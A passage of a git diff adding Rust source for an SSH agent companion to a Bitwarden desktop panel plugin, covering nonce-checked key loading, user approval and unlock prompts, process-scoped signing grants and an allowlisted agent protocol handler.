nonce: Option<[u8; 32]>, +} + +impl fmt::Debug for LoadWindow { + fn fmt(&self, formatter: &mut fmt::Formatter<'_>) -> fmt::Result { + formatter.write_str("LoadWindow { nonce redacted }") + } +} + +impl LoadWindow { + pub fn new(epoch: u64, nonce: &str) -> Result { + let nonce = parse_nonce(nonce)?; + Ok(Self { + epoch, + nonce: Some(nonce), + }) + } + + /// Decode one complete bounded JSON payload and build an unpublished + /// candidate. Raw JSON and each moved PEM allocation wipe on drop. + pub fn decode( + &mut self, + bytes: Zeroizing>, + store: &mut KeyStore, + ) -> Result { + let expected = self.nonce.take().ok_or(PayloadError::Closed)?; + let mut candidate = store + .begin_load(self.epoch, bytes.len()) + .map_err(PayloadError::Load)?; + let envelope: Envelope = + serde_json::from_slice(bytes.as_slice()).map_err(|_| PayloadError::Malformed)?; + let supplied = parse_nonce(&envelope.load_id).map_err(|_| PayloadError::NonceMismatch)?; + if !constant_time_eq(&supplied, &expected) { + return Err(PayloadError::NonceMismatch); + } + for item in envelope.items { + candidate + .add(CandidateItem { + item_id: item.item_id, + name: item.name, + private_key_pem: Zeroizing::new(item.private_key.into_bytes()), + public_key: item.public_key, + fingerprint: item.fingerprint, + requires_reprompt: item.requires_reprompt, + }) + .map_err(PayloadError::Load)?; + } + Ok(candidate) + } +} + +fn constant_time_eq(left: &[u8; 32], right: &[u8; 32]) -> bool { + left.iter() + .zip(right) + .fold(0_u8, |difference, (left, right)| { + difference | (left ^ right) + }) + == 0 +} + +fn parse_nonce(nonce: &str) -> Result<[u8; 32], PayloadError> { + let bytes: [u8; 32] = nonce + .as_bytes() + .try_into() + .map_err(|_| PayloadError::InvalidNonce)?; + if bytes.iter().all(u8::is_ascii_hexdigit) { + Ok(bytes) + } else { + Err(PayloadError::InvalidNonce) + } +} diff --git a/plugins/io.github.elevate08.qs-bitwarden-cli/agent/src/main.rs b/plugins/io.github.elevate08.qs-bitwarden-cli/agent/src/main.rs new file mode 100644 index 0000000..5b32b7b --- /dev/null +++ b/plugins/io.github.elevate08.qs-bitwarden-cli/agent/src/main.rs @@ -0,0 +1,895 @@ +use qs_bitwarden_ssh_agent::approvals::{ApprovalManager, RequestId, Submit}; +use qs_bitwarden_ssh_agent::control::{ + parse_control_line, ControlMessage, LoadStatus, MAX_CONTROL_LINE, +}; +use qs_bitwarden_ssh_agent::keystore::KeyStore; +use qs_bitwarden_ssh_agent::lifecycle::harden_process; +use qs_bitwarden_ssh_agent::load::LoadWindow; +use qs_bitwarden_ssh_agent::protocol::{self, AgentRequest}; +use qs_bitwarden_ssh_agent::runtime::{read_payload_async, RuntimeError, ServiceRuntime}; +use qs_bitwarden_ssh_agent::server::{self, ClientEvent}; +use serde::Serialize; +use std::collections::HashMap; +use std::path::PathBuf; +use std::time::Instant; +use tokio::io::{AsyncReadExt, AsyncWriteExt, Stdin}; +use tokio::sync::{mpsc, oneshot}; +use zeroize::Zeroizing; + +#[derive(Serialize)] +#[serde(tag = "type", rename_all = "snake_case")] +enum Output { + Ready { + v: u8, + #[serde(rename = "socketPath")] + socket_path: String, + #[serde(rename = "fifoPath")] + fifo_path: String, + #[serde(rename = "agentVersion")] + agent_version: String, + }, + ApprovalRequired { + v: u8, + #[serde(rename = "requestId")] + request_id: u64, + #[serde(rename = "keyId")] + key_id: String, + #[serde(rename = "keyName")] + key_name: String, + fingerprint: String, + pid: u32, + #[serde(rename = "processPath")] + process_path: String, + operation: &'static str, + forwarded: bool, + #[serde(rename = "grantOffered")] + grant_offered: bool, + }, + Locked { + v: u8, + epoch: u64, + }, + KeysLoaded { + v: u8, + epoch: u64, + #[serde(rename = "keyCount")] + key_count: usize, + }, + /// A signature was asked for against a locked vault whose public cache + /// still knows the key. The request is held, not failed, until the panel + /// either unlocks or cancels. + UnlockRequired { + v: u8, + #[serde(rename = "requestId")] + request_id: u64, + reason: &'static str, + #[serde(rename = "keyName")] + key_name: String, + fingerprint: String, + pid: u32, + #[serde(rename = "processPath")] + process_path: String, + /// Whether approving this request may also open a grant. Stated by + /// the companion so the panel never has to assume it. + #[serde(rename = "grantOffered")] + grant_offered: bool, + }, + /// A request the panel may still be prompting for has gone: the client + /// disconnected, the deadline passed, or a lock cancelled it. Without + /// this the prompt would sit there asking about something that no longer + /// exists, which is how people learn to click prompts away. + RequestCancelled { + v: u8, + #[serde(rename = "requestId")] + request_id: u64, + reason: &'static str, + }, + /// One validated public identity, in the OpenSSH one-line form. Sent per + /// key rather than as a list: at the documented 128-key limit a single + /// message would exceed the 64 KiB control-line ceiling. The panel + /// accumulates them for an epoch and writes the projection when the + /// matching `keys_loaded` arrives. + PublicKey { + v: u8, + epoch: u64, + #[serde(rename = "itemId")] + item_id: String, + name: String, + fingerprint: String, + #[serde(rename = "publicKey")] + public_key: String, + }, + /// The live grant set, whenever it changes. Public metadata only. + GrantsChanged { + v: u8, + grants: Vec, + }, +} + +#[derive(Serialize)] +struct GrantView { + #[serde(rename = "grantId")] + grant_id: u64, + #[serde(rename = "keyName")] + key_name: String, + fingerprint: String, + pid: u32, + #[serde(rename = "processPath")] + process_path: String, + #[serde(rename = "expiresInSec")] + expires_in_sec: u64, +} + +struct PendingSign { + reply: oneshot::Sender>, + message: Vec, + flags: u32, +} + +/// A signature asked for while the vault was locked. It is kept whole rather +/// than failed, so the unlock the panel is being asked for can release the +/// very request that triggered it. +struct HeldSign { + reply: oneshot::Sender>, + public_blob: Vec, + message: Vec, + flags: u32, + peer: qs_bitwarden_ssh_agent::peer::PeerContext, + deadline_ms: u64, + /// Set when the user approved before the load finished, carrying the + /// grant window they chose. Approving needs the key's identity and the + /// requesting program, both of which come from the public cache -- none + /// of it depends on the vault read, so making the user wait for that read + /// and only then asking is pure delay. The approval still decides + /// nothing: the load must produce the very key that was approved, and the + /// final epoch/state/key check runs immediately before signing. + approved: Option, +} + +/// Identity listings waiting on an unlock, and the one request id that was +/// raised for all of them. A fresh companion has no public cache, so the very +/// first `ssh` of a session lists nothing and would never produce a sign +/// request to unlock from. Coalesced deliberately: several clients starting +/// at once is normal, and each must not cost its own prompt. +struct HeldIdentities { + request_id: RequestId, + deadline_ms: u64, + waiting: Vec>>, +} + +/// How long a held request waits for an unlock before giving up. The same +/// bound the approval path uses, for the same reason -- and unlocking asks +/// more of the user than approving does, so it certainly needs no less. +const HELD_LIFETIME_MS: u64 = qs_bitwarden_ssh_agent::approvals::REQUEST_LIFETIME_MS; + +struct ActiveLoad { + epoch: u64, + window: LoadWindow, + payload: Option>, RuntimeError>>, + end_received: bool, + task: tokio::task::JoinHandle<()>, +} + +struct ControlReader { + stdin: Stdin, + buffered: Vec, +} + +impl ControlReader { + fn new() -> Self { + Self { + stdin: tokio::io::stdin(), + buffered: Vec::new(), + } + } + + async fn next_line(&mut self) -> Result>, ()> { + loop { + if let Some(newline) = self.buffered.iter().position(|byte| *byte == b'\n') { + let remainder = self.buffered.split_off(newline + 1); + let line = std::mem::replace(&mut self.buffered, remainder); + return Ok(Some(line)); + } + if self.buffered.len() > MAX_CONTROL_LINE { + return Err(()); + } + let mut chunk = [0_u8; 4096]; + let count = self.stdin.read(&mut chunk).await.map_err(|_| ())?; + if count == 0 { + if self.buffered.is_empty() { + return Ok(None); + } + return Err(()); + } + self.buffered.extend_from_slice(&chunk[..count]); + if self.buffered.len() > MAX_CONTROL_LINE + 1 { + return Err(()); + } + } + } +} + +fn emit(output: &mpsc::Sender, message: Output) -> Result<(), ()> { + output.try_send(message).map_err(|_| ()) +} + +async fn write_output(mut messages: mpsc::Receiver) { + let mut stdout = tokio::io::stdout(); + while let Some(message) = messages.recv().await { + let Ok(mut bytes) = serde_json::to_vec(&message) else { + return; + }; + bytes.push(b'\n'); + if stdout.write_all(&bytes).await.is_err() || stdout.flush().await.is_err() { + return; + } + } +} + +/// What the panel asks this binary before it trusts it. +/// +/// Argument handling is deliberately exhaustive: the panel launches the helper +/// with no arguments, so anything else is a mistake, and silently starting a +/// key-holding daemon in response to a typo is the wrong answer. +fn dispatch_arguments() -> Option { + let mut args = std::env::args().skip(1); + let first = args.next()?; + if args.next().is_some() { + eprintln!("qs-bitwarden-ssh-agent: expected at most one argument"); + return Some(2); + } + match first.as_str() { + "--version" => { + println!( + "qs-bitwarden-ssh-agent {} (control protocol {})", + env!("CARGO_PKG_VERSION"), + qs_bitwarden_ssh_agent::control::CONTROL_VERSION + ); + Some(0) + } + "--self-test" => Some(qs_bitwarden_ssh_agent::selftest::run()), + "--help" | "-h" => { + println!("qs-bitwarden-ssh-agent [--version | --self-test]"); + println!(); + println!("With no arguments, serves the SSH agent protocol and speaks the"); + println!("panel's control protocol on stdin and stdout. It is launched by the"); + println!("Bitwarden Quickshell panel and is not useful on its own."); + Some(0) + } + other => { + eprintln!("qs-bitwarden-ssh-agent: unknown argument '{other}'"); + Some(2) + } + } +} + +#[tokio::main(flavor = "current_thread")] +async fn main() { + // Before the runtime does anything: these modes answer and exit, and must + // not depend on a runtime directory, a socket, or any of the setup below. + if let Some(code) = dispatch_arguments() { + std::process::exit(code); + } + if run().await.is_err() { + std::process::exit(1); + } +} + +async fn run() -> Result<(), ()> { + harden_process().map_err(|_| ())?; + let runtime_root = std::env::var_os("XDG_RUNTIME_DIR") + .map(PathBuf::from) + .ok_or(())?; + let runtime = ServiceRuntime::acquire(&runtime_root).map_err(|_| ())?; + let listener = runtime.bind_socket().map_err(|_| ())?; + let (output_tx, output_rx) = mpsc::channel(16); + let output_task = tokio::spawn(write_output(output_rx)); + let (events_tx, mut events_rx) = mpsc::channel::(8); + let (load_tx, mut load_rx) = mpsc::channel(1); + let server = tokio::spawn(server::run(listener, events_tx)); + + let socket = runtime.socket_path().to_string_lossy().into_owned(); + let fifo = runtime.runtime().fifo_path().to_string_lossy().into_owned(); + let mut control = ControlReader::new(); + let mut store = KeyStore::new(); + let mut approvals = ApprovalManager::new(rustix::process::geteuid().as_raw()); + let mut pending = HashMap::::new(); + let mut held = HashMap::::new(); + let mut held_identities: Option = None; + let mut unlock_on_demand = false; + let mut grant_snapshot = Vec::::new(); + let mut active_load: Option = None; + let started = Instant::now(); + let mut gate_open = false; + let mut handshake_complete = false; + let mut tick = tokio::time::interval(std::time::Duration::from_millis(100)); + + loop { + tokio::select! { + line = control.next_line() => { + let Some(line) = line? else { break }; + let message = parse_control_line(&line).map_err(|_| ())?; + match message { + ControlMessage::Hello { .. } if !handshake_complete => { + handshake_complete = true; + gate_open = true; + emit(&output_tx, Output::Ready { v: 1, socket_path: socket.clone(), fifo_path: fifo.clone(), agent_version: env!("CARGO_PKG_VERSION").to_owned() })?; + } + ControlMessage::Hello { .. } => return Err(()), + ControlMessage::VaultLocked { epoch, .. } => { + gate_open = false; + cancel_load(&mut active_load); + store.lock(epoch); + approvals.invalidate_all(); + fail_pending(&mut pending); + cancel_held(&mut held, "locked", &output_tx)?; + release_held_identities(&mut held_identities, &store, &output_tx, "locked")?; + emit(&output_tx, Output::Locked { v: 1, epoch })?; + } + ControlMessage::VaultLoggedOut { .. } => { + gate_open = false; + cancel_load(&mut active_load); + store.logout(store.epoch().saturating_add(1)); + approvals.invalidate_all(); + fail_pending(&mut pending); + cancel_held(&mut held, "logged-out", &output_tx)?; + release_held_identities(&mut held_identities, &store, &output_tx, "logged-out")?; + } + ControlMessage::Approve { request_id, grant_seconds, .. } => { + // A held request is one still waiting on a load. The + // approval is recorded now and applied the moment the + // keys arrive, so the user is not made to wait out the + // vault read before being asked. + if let Some(request) = held.get_mut(&request_id) { + request.approved = Some(grant_seconds); + continue; + } + let Some(sign) = pending.remove(&request_id) else { continue }; + let response = approvals.approve(request_id, grant_seconds, elapsed_ms(started)).ok() + .and_then(|authorization| authorization.finalize(&store)) + .and_then(|permit| store.sign(&permit, &sign.message, sign.flags)) + .and_then(protocol::signature_response) + .unwrap_or_else(protocol::failure_response); + let _ = sign.reply.send(response); + } + ControlMessage::Deny { request_id, .. } | ControlMessage::UnlockCancelled { request_id, .. } => { + approvals.disconnect(request_id); + if let Some(sign) = pending.remove(&request_id) { let _ = sign.reply.send(protocol::failure_response()); } + // The panel asked, so it needs no request_cancelled + // back: it already knows this one is over. + if let Some(request) = held.remove(&request_id) { let _ = request.reply.send(protocol::failure_response()); } + if held_identities.as_ref().is_some_and(|w| w.request_id == request_id) { + release_held_identities(&mut held_identities, &store, &output_tx, "cancelled")?; + } + } + ControlMessage::Options { unlock_on_demand: on, .. } => unlock_on_demand = on, + ControlMessage::RevokeGrants { .. } => approvals.revoke_all_grants(), + ControlMessage::RevokeGrant { grant_id, .. } => approvals.revoke_grant(grant_id), + ControlMessage::Shutdown { .. } => break, + ControlMessage::KeyLoadBegin { epoch, load_id, .. } => { + if active_load.is_some() { return Err(()); } + gate_open = false; + approvals.invalidate_all(); + fail_pending(&mut pending); + let window = LoadWindow::new(epoch, &load_id).map_err(|_| ())?; + let fifo = runtime.runtime().fifo_reader().map_err(|_| ())?; + let sender = load_tx.clone(); + let task = tokio::spawn(async move { + let result = read_payload_async(fifo, std::time::Duration::from_secs(30)).await; + let _ = sender.send((epoch, result)).await; + }); + active_load = Some(ActiveLoad { epoch, window, payload: None, end_received: false, task }); + } + ControlMessage::KeyLoadEnd { epoch, status, .. } => { + let Some(load) = active_load.as_mut() else { return Err(()) }; + if load.epoch != epoch { return Err(()); } + if status != LoadStatus::Ok { + cancel_load(&mut active_load); + store.lock(epoch); + gate_open = false; + cancel_held(&mut held, "load-failed", &output_tx)?; + release_held_identities(&mut held_identities, &store, &output_tx, "load-failed")?; + } else { + load.end_received = true; + finish_load_if_ready(&mut active_load, &mut store, &mut gate_open, &output_tx)?; + if gate_open { + release_held(&mut held, &store, &mut approvals, &mut pending, started, &output_tx)?; + release_held_identities(&mut held_identities, &store, &output_tx, "released")?; + } + } + } + } + } + Some(event) = events_rx.recv() => handle_client(event, gate_open, &store, &mut approvals, &mut pending, &mut held, &mut held_identities, unlock_on_demand, started, &output_tx)?, + Some((epoch, result)) = load_rx.recv() => { + let Some(load) = active_load.as_mut() else { continue }; + if load.epoch != epoch { continue; } + load.payload = Some(result); + finish_load_if_ready(&mut active_load, &mut store, &mut gate_open, &output_tx)?; + if gate_open { + release_held(&mut held, &store, &mut approvals, &mut pending, started, &output_tx)?; + release_held_identities(&mut held_identities, &store, &output_tx, "released")?; + } + } + _ = tick.tick() => { + let now = elapsed_ms(started); + approvals.expire(now); + let expired: Vec<_> = pending.iter().filter_map(|(id, sign)| (sign.reply.is_closed() || !approvals.is_pending(*id)).then_some(*id)).collect(); + for id in expired { + approvals.disconnect(id); + if let Some(sign) = pending.remove(&id) { let _ = sign.reply.send(protocol::failure_response()); } + // Whatever ended it -- a client that walked away or a + // deadline that passed -- the panel may still be prompting. + emit(&output_tx, Output::RequestCancelled { v: 1, request_id: id, reason: "withdrawn" })?; + } + let stale: Vec<_> = held.iter().filter_map(|(id, request)| (request.reply.is_closed() || request.deadline_ms <= now).then_some(*id)).collect(); + for id in stale { + if let Some(request) = held.remove(&id) { let _ = request.reply.send(protocol::failure_response()); } + emit(&output_tx, Output::RequestCancelled { v: 1, request_id: id, reason: "withdrawn" })?; + } + if held_identities.as_ref().is_some_and(|w| w.deadline_ms <= now) { + release_held_identities(&mut held_identities, &store, &output_tx, "withdrawn")?; + } + emit_grants_if_changed(&mut grant_snapshot, &approvals, &store, now, &output_tx)?; + } + } + } + + approvals.invalidate_all(); + cancel_load(&mut active_load); + fail_pending(&mut pending); + let _ = cancel_held(&mut held, "shutdown", &output_tx); + let _ = release_held_identities(&mut held_identities, &store, &output_tx, "shutdown"); + store.logout(store.epoch().saturating_add(1)); + server.abort(); + drop(output_tx); + let _ = output_task.await; + Ok(()) +} + +#[allow(clippy::too_many_arguments)] +fn handle_client( + event: ClientEvent, + gate_open: bool, + store: &KeyStore, + approvals: &mut ApprovalManager, + pending: &mut HashMap, + held: &mut HashMap, + held_identities: &mut Option, + unlock_on_demand: bool, + started: Instant, + output: &mpsc::Sender, +) -> Result<(), ()> { + match event.request { + // Deliberately not behind `gate_open`. Public keys are not secret, and + // a locked vault that still lists them is what stops every `ssh` after + // a lock from raising an unlock prompt for a connection that may have + // nothing to do with the vault. The cache is empty when logged out or + // locked before any load, so those answer with an empty list, and a + // lock clears the private set that signing needs regardless. + AgentRequest::Identities => { + // An empty cache with unlock-on-demand on is the one case where a + // listing may raise UI: without it the first client of a session + // sees nothing and no sign request can ever follow to ask. + if store.public_identities().is_empty() + && unlock_on_demand + && approvals.expects_uid(event.peer.uid) + { + if let Some(waiters) = held_identities.as_mut() { + waiters.waiting.push(event.reply); + return Ok(()); + } + if let Ok(id) = approvals.reserve_request_id() { + emit( + output, + Output::UnlockRequired { + v: 1, + request_id: id, + reason: "list-identities", + key_name: String::new(), + fingerprint: String::new(), + pid: event.peer.pid, + process_path: event.peer.executable.to_string_lossy().into_owned(), + grant_offered: false, + }, + )?; + *held_identities = Some(HeldIdentities { + request_id: id, + deadline_ms: elapsed_ms(started).saturating_add(HELD_LIFETIME_MS), + waiting: vec![event.reply], + }); + return Ok(()); + } + } + let identities: Vec<_> = store + .public_identities() + .iter() + .map(|key| (key.public_blob(), key.name.as_str())) + .collect(); + let _ = event.reply.send(protocol::identities_response(&identities)); + } + AgentRequest::Sign { + public_blob, + message, + flags, + } => { + if !gate_open { + // A locked vault that still knows this key asks the panel to + // unlock and keeps the request, rather than failing a client + // that has no way to retry. A key the cache does not know is + // simply not ours to sign for. + let Some(key) = store + .public_identities() + .iter() + .find(|key| key.public_blob() == public_blob) + else { + let _ = event.reply.send(protocol::failure_response()); + return Ok(()); + }; + if !approvals.expects_uid(event.peer.uid) + || approvals.capacity_remaining(held.len()) == 0 + { + let _ = event.reply.send(protocol::failure_response()); + return Ok(()); + } + let Ok(id) = approvals.reserve_request_id() else { + let _ = event.reply.send(protocol::failure_response()); + return Ok(()); + }; + emit( + output, + Output::UnlockRequired { + v: 1, + request_id: id, + reason: "sign", + key_name: key.name.clone(), + fingerprint: key.fingerprint.clone(), + pid: event.peer.pid, + process_path: event.peer.executable.to_string_lossy().into_owned(), + grant_offered: true, + }, + )?; + held.insert( + id, + HeldSign { + reply: event.reply, + public_blob, + message, + flags, + peer: event.peer, + deadline_ms: elapsed_ms(started).saturating_add(HELD_LIFETIME_MS), + approved: None, + }, + ); + return Ok(()); + } + if store.authorize(&public_blob).is_none() { + let _ = event.reply.send(protocol::failure_response()); + return Ok(()); + } + match approvals.submit( + store.epoch(), + &public_blob, + event.peer.clone(), + elapsed_ms(started), + ) { + Ok(Submit::Granted(authorization)) => { + let response = authorization + .finalize(store) + .and_then(|permit| store.sign(&permit, &message, flags)) + .and_then(protocol::signature_response) + .unwrap_or_else(protocol::failure_response); + let _ = event.reply.send(response); + } + Ok(Submit::Pending(id)) => { + let Some(key) = store + .public_identities() + .iter() + .find(|key| key.public_blob() == public_blob) + else { + approvals.disconnect(id); + let _ = event.reply.send(protocol::failure_response()); + return Ok(()); + }; + let process_path = event.peer.executable.to_string_lossy().into_owned(); + emit( + output, + Output::ApprovalRequired { + v: 1, + request_id: id, + key_id: key.item_id.clone(), + key_name: key.name.clone(), + fingerprint: key.fingerprint.clone(), + pid: event.peer.pid, + process_path, + operation: "ssh-sign", + forwarded: false, + grant_offered: true, + }, + )?; + pending.insert( + id, + PendingSign { + reply: event.reply, + message, + flags, + }, + ); + } + Err(_) => { + let _ = event.reply.send(protocol::failure_response()); + } + } + } + } + Ok(()) +} + +/// Release every request that was waiting on an unlock, now that one has +/// happened. Each goes through the ordinary approval path at the *new* epoch, +/// so an unlock authorises nothing by itself -- it only gets the request back +/// to the point where the user can be asked. +fn release_held( + held: &mut HashMap, + store: &KeyStore, + approvals: &mut ApprovalManager, + pending: &mut HashMap, + started: Instant, + output: &mpsc::Sender, +) -> Result<(), ()> { + for (old_id, request) in held.drain().collect::>() { + // The prompt the panel is showing is about to be replaced by an + // approval prompt with its own id, so withdraw the old one first. + emit( + output, + Output::RequestCancelled { + v: 1, + request_id: old_id, + reason: "released", + }, + )?; + if store.authorize(&request.public_blob).is_none() { + let _ = request.reply.send(protocol::failure_response()); + continue; + } + // Already approved while the load was running: submit at the new + // epoch and consume the approval straight away. Every check the + // ordinary path makes still runs -- the key must be present, the + // vault unlocked, and the epoch current at the signing primitive. + if let Some(grant_seconds) = request.approved { + let response = match approvals.submit( + store.epoch(), + &request.public_blob, + request.peer.clone(), + elapsed_ms(started), + ) { + Ok(Submit::Granted(authorization)) => authorization + .finalize(store) + .and_then(|permit| store.sign(&permit, &request.message, request.flags)) + .and_then(protocol::signature_response) + .unwrap_or_else(protocol::failure_response), + Ok(Submit::Pending(id)) => approvals + .approve(id, grant_seconds, elapsed_ms(started)) + .ok() + .and_then(|authorization| authorization.finalize(store)) + .and_then(|permit| store.sign(&permit, &request.message, request.flags)) + .and_then(protocol::signature_response) + .unwrap_or_else(protocol::failure_response), + Err(_) => protocol::failure_response(), + }; + let _ = request.reply.send(response); + continue; + } + match approvals.submit( + store.epoch(), + &request.public_blob, + request.peer.clone(), + elapsed_ms(started), + ) { + Ok(Submit::Granted(authorization)) => { + let response = authorization + .finalize(store) + .and_then(|permit| store.sign(&permit, &request.message, request.flags)) + .and_then(protocol::signature_response) + .unwrap_or_else(protocol::failure_response); + let _ = request.reply.send(response); + } + Ok(Submit::Pending(id)) => { + let Some(key) = store + .public_identities() + .iter() + .find(|key| key.public_blob() == request.public_blob) + else { + approvals.disconnect(id); + let _ = request.reply.send(protocol::failure_response()); + continue; + }; + emit( + output, + Output::ApprovalRequired { + v: 1, + request_id: id, + key_id: key.item_id.clone(), + key_name: key.name.clone(), + fingerprint: key.fingerprint.clone(), + pid: request.peer.pid, + process_path: request.peer.executable.to_string_lossy().into_owned(), + operation: "ssh-sign", + forwarded: false, + grant_offered: true, + }, + )?; + pending.insert( + id, + PendingSign { + reply: request.reply, + message: request.message, + flags: request.flags, + }, + ); + } + Err(_) => { + let _ = request.reply.send(protocol::failure_response()); + } + } + } + Ok(()) +} + +/// Answer every identity listing that was waiting on an unlock. On success +/// that is the real cache; otherwise it is the empty list a locked companion +/// would have returned anyway, which is a normal answer rather than a failure. +fn release_held_identities( + held_identities: &mut Option, + store: &KeyStore, + output: &mpsc::Sender, + reason: &'static str, +) -> Result<(), ()> { + let Some(waiters) = held_identities.take() else { + return Ok(()); + }; + let identities: Vec<_> = store + .public_identities() + .iter() + .map(|key| (key.public_blob(), key.name.as_str())) + .collect(); + let response = protocol::identities_response(&identities); + for reply in waiters.waiting { + let _ = reply.send(response.clone()); + } + emit( + output, + Output::RequestCancelled { + v: 1, + request_id: waiters.request_id, + reason, + }, + ) +} + +/// Fail every held request and tell the panel to take its prompts down. +fn cancel_held( + held: &mut HashMap, + reason: &'static str, + output: &mpsc::Sender, +) -> Result<(), ()> { + for (id, request) in held.drain().collect::>() { + let _ = request.reply.send(protocol::failure_response()); + emit( + output, + Output::RequestCancelled { + v: 1, + request_id: id, + reason, + }, + )?; + } + Ok(()) +} + +/// Announce the live grant set, but only when it has actually changed -- +/// otherwise the hundred-millisecond tick would narrate it forever. +fn emit_grants_if_changed( + snapshot: &mut Vec, + approvals: &ApprovalManager, + store: &KeyStore, + now_ms: u64, + output: &mpsc::Sender, +) -> Result<(), ()> { + let current: Vec = approvals.grants().iter().map(|grant| grant.id).collect(); + if current == *snapshot { + return Ok(()); + } + *snapshot = current; + let grants = approvals + .grants() + .iter() + .map(|grant| { + let key = store + .public_identities() + .iter() + .find(|key| key.public_blob() == grant.public_blob); + GrantView { + grant_id: grant.id, + key_name: key.map(|key| key.name.clone()).unwrap_or_default(), + fingerprint: key.map(|key| key.fingerprint.clone()).unwrap_or_default(), + pid: grant.peer.pid, + process_path: grant.peer.executable.to_string_lossy().into_owned(), + expires_in_sec: grant.expires_at_ms.saturating_sub(now_ms) / 1000, + } + }) + .collect(); + emit(output, Output::GrantsChanged { v: 1, grants }) +} + +fn fail_pending(pending: &mut HashMap) { + for (_, sign) in pending.drain() { + let _ = sign.reply.send(protocol::failure_response()); + } +} + +fn cancel_load(active: &mut Option) { + if let Some(load) = active.take() { + load.task.abort(); + } +} + +fn finish_load_if_ready( + active: &mut Option, + store: &mut KeyStore, + gate_open: &mut bool, + output: &mpsc::Sender, +) -> Result<(), ()> { + let ready = active + .as_ref() + .is_some_and(|load| load.end_received && load.payload.is_some()); + if !ready { + return Ok(()); + } + let mut load = active.take().ok_or(())?; + load.task.abort(); + let result = load + .payload + .take() + .ok_or(())? + .map_err(|_| ()) + .and_then(|payload| load.window.decode(payload, store).map_err(|_| ())) + .and_then(|candidate| store.publish(candidate).map_err(|_| ())); + match result { + Ok(report) => { + *gate_open = true; + // Ahead of keys_loaded, so the panel has the whole set by the + // time it is told the load finished. + for identity in store.public_identities() { + emit( + output, + Output::PublicKey { + v: 1, + epoch: load.epoch, + item_id: identity.item_id.clone(), + name: identity.name.clone(), + fingerprint: identity.fingerprint.clone(), + public_key: identity.public_key_openssh.clone(), + }, + )?; + } + emit( + output, + Output::KeysLoaded { + v: 1, + epoch: load.epoch, + key_count: report.loaded, + }, + ) + } + Err(()) => { + store.lock(load.epoch); + *gate_open = false; + Err(()) + } + } +} + +fn elapsed_ms(started: Instant) -> u64 { + u64::try_from(started.elapsed().as_millis()).unwrap_or(u64::MAX) +} diff --git a/plugins/io.github.elevate08.qs-bitwarden-cli/agent/src/peer.rs b/plugins/io.github.elevate08.qs-bitwarden-cli/agent/src/peer.rs new file mode 100644 index 0000000..949ec5b --- /dev/null +++ b/plugins/io.github.elevate08.qs-bitwarden-cli/agent/src/peer.rs @@ -0,0 +1,77 @@ +//! Verified peer snapshots used to scope approvals and grants. + +use std::path::{Path, PathBuf}; + +/// Sanitized proc-snapshot failures. +#[derive(Clone, Copy, Debug, Eq, PartialEq)] +pub enum PeerError { + Unavailable, + Malformed, +} + +/// Process context captured from kernel-owned peer/proc data. +/// +/// UID is the socket admission boundary. PID, start time, and executable path +/// are prompt context and grant-scoping inputs, not proof of user identity. +#[derive(Clone, Debug, Eq, PartialEq)] +pub struct PeerContext { + pub uid: u32, + pub pid: u32, + pub start_time_ticks: u64, + pub executable: PathBuf, +} + +impl PeerContext { + pub fn new( + uid: u32, + pid: u32, + start_time_ticks: u64, + executable: impl AsRef, + ) -> Option { + let executable = executable.as_ref(); + if pid == 0 || start_time_ticks == 0 || !executable.is_absolute() { + return None; + } + Some(Self { + uid, + pid, + start_time_ticks, + executable: executable.to_owned(), + }) + } + + /// Whether a grant taken for `self` covers a request from `other`. + /// + /// A grant is scoped to one user and one program, deliberately not to one + /// process. Git runs a fresh `ssh-keygen` for every commit it signs, so a + /// PID-scoped grant never matches the workflow grants exist to serve -- + /// a twenty-commit rebase would prompt twenty times either way. The + /// exposure this accepts is that any process at the same path benefits + /// during the window; on an unlocked desktop a hostile same-UID process + /// could simply run that program itself, which the threat model already + /// declines to defend against. The UID check is not relaxed: that is the + /// one property the companion actually verifies. + pub fn shares_grant_scope(&self, other: &Self) -> bool { + self.uid == other.uid && self.executable == other.executable + } + + /// Capture grant-scoping context for a PID supplied by `SO_PEERCRED`. + pub fn capture(uid: u32, pid: u32) -> Result { + if pid == 0 { + return Err(PeerError::Malformed); + } + let stat = std::fs::read_to_string(format!("/proc/{pid}/stat")) + .map_err(|_| PeerError::Unavailable)?; + let close = stat.rfind(')').ok_or(PeerError::Malformed)?; + let fields: Vec<&str> = stat[close + 1..].split_whitespace().collect(); + // The remainder begins at field 3; starttime is field 22. + let start_time_ticks = fields + .get(19) + .ok_or(PeerError::Malformed)? + .parse() + .map_err(|_| PeerError::Malformed)?; + let executable = + std::fs::read_link(format!("/proc/{pid}/exe")).map_err(|_| PeerError::Unavailable)?; + Self::new(uid, pid, start_time_ticks, executable).ok_or(PeerError::Malformed) + } +} diff --git a/plugins/io.github.elevate08.qs-bitwarden-cli/agent/src/protocol.rs b/plugins/io.github.elevate08.qs-bitwarden-cli/agent/src/protocol.rs new file mode 100644 index 0000000..771223b --- /dev/null +++ b/plugins/io.github.elevate08.qs-bitwarden-cli/agent/src/protocol.rs @@ -0,0 +1,210 @@ +//! Bounded, allowlisted SSH-agent protocol handling. +//! +//! Wire values follow RFC 9987. The handler answers only identity listing and +//! signing; every malformed, mutation, forwarding, extension, or unknown +//! request receives the same one-byte failure and no diagnostic data. + +use crate::signing; +use ssh_encoding::{Decode, Encode}; +use ssh_key::{Algorithm, PrivateKey, PublicKey}; +use std::fmt; + +/// Largest accepted agent message body, excluding its four-byte prefix. +pub const MAX_FRAME_LEN: usize = 256 * 1024; + +const FAILURE: u8 = 5; +const REQUEST_IDENTITIES: u8 = 11; +const IDENTITIES_ANSWER: u8 = 12; +const SIGN_REQUEST: u8 = 13; +const SIGN_RESPONSE: u8 = 14; + +/// Parsed allowlisted request. It contains public key selection and the +/// payload to be signed, but never private material. +#[derive(Debug, Eq, PartialEq)] +pub enum AgentRequest { + Identities, + Sign { + public_blob: Vec, + message: Vec, + flags: u32, + }, +} + +/// A private identity and the bounded public values advertised for it. +pub struct Identity { + key: PrivateKey, + public_blob: Vec, + comment: String, +} + +impl Identity { + /// Construct an identity for one of the two v1 key algorithms. + pub fn new(key: PrivateKey, comment: impl Into) -> Result { + if !matches!(key.algorithm(), Algorithm::Ed25519 | Algorithm::Rsa { .. }) { + return Err(ProtocolError); + } + let comment = comment.into(); + if comment.len() > MAX_FRAME_LEN { + return Err(ProtocolError); + } + let public_blob = key.public_key().to_bytes().map_err(|_| ProtocolError)?; + Ok(Self { + key, + public_blob, + comment, + }) + } + + /// OpenSSH public-key blob used to select and advertise this identity. + pub fn public_blob(&self) -> &[u8] { + &self.public_blob + } + + /// Human-readable identity comment. + pub fn comment(&self) -> &str { + &self.comment + } + + /// 